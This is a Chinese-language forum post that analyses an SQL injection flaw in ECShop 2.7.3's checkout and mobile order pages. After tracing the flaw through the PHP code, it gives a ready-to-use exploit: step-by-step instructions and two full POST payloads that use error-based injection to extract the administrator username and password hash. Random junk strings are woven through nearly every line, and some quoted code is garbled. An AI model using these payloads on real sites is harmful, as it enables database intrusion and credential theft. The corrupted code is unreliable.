前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。; U! u# o( N7 x3 d
8 V# L" C5 Y2 t2 X/ Y* _3 X2 H1 _
漏洞关键文件:3 p6 _& j, w! U& ~8 Z! y
r; ]. o g- I
/includes/lib_order.php5 K% m7 V3 [8 E. Z+ z5 z
3 Z) @& k7 B3 ?8 h% ? 关键函数:
7 |. L' y! p$ |4 _: k1 n" A! f/ Q$ g: m. d# l J: `5 x' H
, ]5 f2 L* ~' h5 u; u
1 _+ z# I+ j' r
01 function available_shipping_list($region_id_list) 7 X7 S! Q1 |/ K+ E" `3 T, k
( w7 d, a- ^+ O( u2 S4 }, b
02 {
2 V4 l( y9 R% Q4 A. }$ D4 a0 f+ J( a) _6 f6 M7 ?
03 $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' . 4 I3 B# @3 k' g4 |" d" \" }
& D6 A" ?* ^+ J+ P) p04 's.shipping_desc, s.insure, s.support_cod, a.configure ' . e4 @2 `" U% y3 r5 P" H
5 j; o$ Q" d! D* U
05 'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .
% f2 C4 h+ d( k' [, S! j( ^/ _$ I) s0 ?& t* r4 P! k
06 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .
5 }- E8 f4 B$ n1 a1 a0 `' u
6 I0 k5 t* K% ]" N" J1 P07 $GLOBALS['ecs']->table('area_region') . ' AS r '.
' g1 E' o5 E+ |( ~) W+ ^ U: ?8 ^: d( }0 }' e2 n, M8 J
08 'WHERE r.region_id ' . db_create_in($region_id_list) .
$ X% V9 x* j( p' m; |0 B
+ |' \ H& Q3 [7 H$ V# j09 ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order'; 0 q) k& i% _+ d6 C
; J+ G2 S" Q9 H9 _( G9 s- `
10
* l* K# ]/ x) t, @! D* ~5 V! E1 W1 H' C' d: o
11 return $GLOBALS['db']->getAll($sql); # M, i) S! S/ e; U* u
+ \4 ^2 g/ ?5 i
12 } 8 a+ L" h; U: f
0 {$ u$ ^3 x: }) n# Z4 Y: E显然对传入的参数没有任何过滤就带入了查询语句。
7 j6 r3 g J' Y5 p , n- m& n: c4 ~: h- P9 E7 Y' }
下面我们追踪这个函数在flow.php中:# U: L0 @2 y5 u
第531行: 8 ^0 G, Y3 C/ y" }
4 e1 U0 U! b2 M0 {" o1 $shipping_list = available_shipping_list($region); 7 ]9 s# z" @9 K8 D U
; x2 [ V3 B' c: @
, ]" i9 j ] Y3 Z; k1 U/ g
9 Z& ^$ m( m0 _" k/ b9 n- I 1 K: d# ~+ b5 Q; |
1 u5 a# v( [! l6 n+ }9 s2 _
再对传入变量进行追踪:
! n, W3 s o! k
+ G- {7 O+ {! ~- F2 B4 ?, Z! k第530行:
* X, }& i" I* D. ? T7 o
# T. W5 }3 Y; h9 e% S. D1 M1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);
' A! V( x1 }7 c2 `% L8 D, Y1 P1 Q. s6 {" J
! ]& x, E F6 N$ F7 l3 q2 g
; e5 | D: b2 z1 L2 N/ b) H
. S+ b% U# S# _0 f5 p
. p8 {8 Z6 X# I, a/ y& ]9 u8 [
第473行: ! `0 K" C4 i1 }7 v4 R( J
( l3 H7 {- s/ c0 l, N( e! b1 $consignee = get_consignee($_SESSION['user_id']); & V; L; d- ]+ n; v! C0 J# I
# ?; a& y7 I. l! w+ M
到了一个关键函数:& M2 |' m6 {6 S$ }7 C" N
/ R5 Q; \; n Z w1 f/includes/lib_order.php
3 o9 {: }3 v- u6 I8 _. L8 }: @4 `
; w. E1 I/ I: g8 [ 8 [. r5 }" R* V4 k, e
/ ~3 p5 o7 o! U: r* c) ?
% s# \/ b, P$ m6 B, r) X
! `! i7 O: ^- T, F1 ?01 function get_consignee($user_id) " m0 {& g8 j. H$ U' T
. A+ Z* g+ Y+ L: f1 k( D& z
02 { $ A; s T0 a# s4 E3 Q$ Q7 p3 U5 k
% C F2 w2 g8 i% L5 o03 if (isset($_SESSION['flow_consignee']))
0 W& I ^1 H W- F$ f* v. K8 r
# w) r$ |9 w! J6 c2 a04 { : h- r5 p4 d. [. d
$ N! I: B: G" R' W1 k" s
05 /* 如果存在session,则直接返回session中的收货人信息 */ " p" p, z) ]# M9 J! ]
0 F% d1 u+ f' t
06 . v; e; w7 H* s1 |3 ^( [
: E _ o3 \$ I' o, B" K$ Z07 return $_SESSION['flow_consignee'];
2 Q. U0 z6 D! n3 H$ a
+ @: q+ M7 U6 Q& z( H8 ?( [6 Y08 }
' V' O$ T5 B3 l9 G4 O$ a8 s: \; X2 ~3 M3 G' y5 R% o
09 else & q! L! K, Y! Y9 W. j; m
- F$ X: O! W' t! O% Z+ O1 o
10 { 2 |. c% W, w! N: p5 C) Y
' o/ g- b! g8 T+ m- ~11 /* 如果不存在,则取得用户的默认收货人信息 */
" f8 p/ K7 G% ?
) ]4 T% `9 R" `; ~: |* k) I+ M12 $arr = array(); : y1 b9 A7 Q2 m5 A
4 C$ q$ s8 C- h( i" Q4 r( `13 ( V/ j3 C1 u/ ^) C/ I! u- l0 d6 G
% q1 k) o2 Y M3 j
14 if ($user_id > 0) ; Q1 Q& u1 n6 q; t6 W
V" C( u& Z; a/ Y4 w
15 {
9 o. a5 D! j9 u! B V p: W
( d/ @& K; h' W! g& b6 {! k C* C16 /* 取默认地址 */
* f+ J" y. j& r/ l$ ^) |2 \! t: {; ~# z
17 $sql = "SELECT ua.*". * `& q* h( y" E0 c, ~
0 O- F* ]' k( Z6 i' M7 p, f$ N
18 " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.
$ p3 E2 C# q# U
' N2 k% [: A' A' s' Z, Z% E19 " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id"; 2 i0 u l# S) r3 T+ A* Z
_- [. ^" S. |2 F20
% O5 H2 {0 Z% n' c" N1 H: a/ B) N
21 $arr = $GLOBALS['db']->getRow($sql);
4 Z) D' F8 K# @% W! {$ ~8 }, J5 G9 N
22 }
9 C4 J9 N, E: I1 u
2 j* R }0 s# s1 C23
7 o5 E$ [% y" C# L' H' N$ p4 p" d; p
24 return $arr;
: T p3 C8 ?4 Y# z* S3 c% \3 `, p6 _- B, \) O: [. A- F0 S
25 } 6 q8 T& ^) y9 k$ C
$ l4 F/ Z# p3 |
26 } . `$ J3 e' L5 L( @/ p, ^$ _
5 ?8 a" S8 G5 {2 Q6 V4 b
显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?
5 w6 c2 c1 c9 h4 S3 M7 X" I8 p- U6 o: G" u: ?" C. T" Q
6 E# X' J) `) ]3 Y5 N/ \5 J x h9 O9 m9 x+ ]/ F
关键点:3 X! _$ r5 N. q+ z& e
/ L! n( _6 G( \$ ]3 g
第400行: $_SESSION['flow_consignee'] = stripslashes_deep($consignee);: x( _8 u( N* w% y* a, |& a
/ \4 g! `9 X) T# l) \8 W1 z+ a这里对传入参数反转义存入$_SESSION中。
2 j. W L0 B2 m: t' t; i) u: m2 H" T
: G4 g! v3 A$ a2 Q& h5 Z% ^4 Y% E
) Z" `3 z" C3 d0 b5 y" V o然后看下:
! O. K9 ~2 K; f' N0 I, b [4 f d2 ~7 |! V/ \
7 t4 w$ M1 G8 D k% a+ m
o' d) L+ a6 i$ ?% d7 y
7 |! C# B+ g$ K6 Y" ?" d# `! @
8 j3 G. N! S* R" V2 p" Q: l) r4 m
01 $consignee = array( * G5 {" ?# Q6 v
% v1 N4 ~0 E0 k; q
02 'address_id' => empty($_POST['address_id']) ? 0 :intval($_POST['address_id']),
8 T9 D$ _: \! r! K& X$ e Y* G
1 q' w+ g" X# \/ I: x6 O6 S! o03 'consignee' => empty($_POST['consignee']) ? '' : trim($_POST['consignee']),
, w) h0 R2 O- c! N; F1 m+ ^
' b1 L" p- [& p0 }- `' Y5 e9 b04 'country' => empty($_POST['country']) ? '' _POST['country'], $ y* i( _$ W5 a6 i7 f6 ?: u
2 {6 r# z7 U, U1 r
05 'province' => empty($_POST['province']) ? '' _POST['province'],
) z ?5 b9 K' L) V6 [7 W s% n& [6 h, _' f; b0 T0 F
06 'city' => empty($_POST['city']) ? '' _POST['city'],
/ D. H8 d9 X& P9 P. I
* I8 c7 r7 k. w8 H5 ?07 'district' => empty($_POST['district']) ? '' _POST['district'],
/ U- P ?' W& _- V' C( J% V
* d. J6 n8 K+ p08 'email' => empty($_POST['email']) ? '' _POST['email'],
9 N: ]. ?0 k7 G+ @. h; z" p0 J" d9 j; m+ f
09 'address' => empty($_POST['address']) ? '' _POST['address'],
9 A3 B& b% {3 R% O& }, {& Q: a5 z2 G
10 'zipcode' => empty($_POST['zipcode']) ? '' : make_semiangle(trim($_POST['zipcode'])), # Z+ g# p% \* s: z; M% D
7 l; A/ V, M8 }2 i11 'tel' => empty($_POST['tel']) ? '' : make_semiangle(trim($_POST['tel'])), 5 Y1 T# i! \6 u/ ^8 P1 `7 R7 t& K
G' S3 A% {& y) j12 'mobile' => empty($_POST['mobile']) ? '' : make_semiangle(trim($_POST['mobile'])),
1 Q6 q, E y$ n t2 M' U- Q5 d! u9 _- c
13 'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],
% ]: d& v5 D; H6 x' ]5 {/ L8 [5 o" L0 a2 a/ B
14 'best_time' => empty($_POST['best_time']) ? '' _POST['best_time'],
( j7 u. E/ N) l" B$ m0 @( {4 L- s9 e. m6 b6 K2 \
15 );
" A2 w7 y" U4 j9 B
7 T* k: S; w; c0 @好了注入就这样出现了。
( w( x, ^: f& C5 ~/ s
7 m6 O0 w. Q2 K# A==================- [! y: b; F# ]) l# o" ?3 Q
; G& _- W r ]8 {注入测试:/ }3 D7 N% k3 H" m, C1 k5 a
# x4 M% |/ z+ u/ a+ c环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)% L( Y" A, s) a. P7 I1 X8 _/ A
- h9 ~+ v" \" G1 ~& ?4 P
测试程序:ECShop_V2.7.3_UTF8_release1106
0 i: Q3 R" ?, J6 J4 {% F
8 C4 r, n( Z0 h2 V$ @+ U
" W# A3 N- P2 f8 N6 p, v& Y( B; s/ U8 n1 B1 t
1.首先需要点击一个商品加入购物车
, M$ E/ m f4 H
3 B; M" t5 ^3 r& ]4 o1 g2.注册一个会员帐号- [4 l/ X9 B$ i5 T8 \
7 F1 n F6 I( T/ f4 C3.post提交数据
+ |/ P$ M; E& F/ S/ b9 ^$ X$ p2 E; Q
, ?, R) h6 ?0 A. S5 n) d8 Z0 \2 V$ e% ~1 B4 b, v- i$ y
1 http://127.0.0.1/ecshop/flow.php
/ ], o" ?2 G0 m, R6 g
- @$ A, u: A3 k0 n5 ?2
; {& I3 C/ Y9 G2 C( m2 C5 ^8 A3 b( n( L
3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id= 9 e' ? ?# l% T/ @, g
举一反三,我们根据这个漏洞我们可以继续深入挖掘:
2 y4 m" r9 d) f7 r
& g/ L8 V2 N( r2 D3 n我们搜寻关键函数function available_shipping_list()
\7 U- ?2 Z7 W: X9 V+ u" |. ~! H4 e3 Y" N! C
在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同
$ E. z O9 S+ f+ v1 \* G# V& v
) Q) m+ n7 `3 P( r) k, p/ L t利用exp:
f' I* r, w2 B9 Q7 V( I4 P& G7 b: V- z
1.点击一个商品,点击购买商标
& I1 [- d; W, A/ E* {9 u! @9 L+ C* ?* i4 I' y$ t5 }
2.登录会员帐号
: J) Y# |3 K' j$ V- k- q- r' a w l* j& @& S/ W& j4 v4 @
3.post提交:8 C" X! ` @& x% O! i
# w) q% {. ^* S- }http://127.0.0.1/ecshop/mobile/order.php
% Q% f$ Z" Q, D5 N) J* V( A }6 H$ ^: u) k# r/ ~8 L
% G& P! A1 w$ g
: m/ k5 L# C( v0 k3 kcountry=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=& e. v9 R" T) L$ `0 [5 v5 {
. Y6 G. Q/ B4 l
|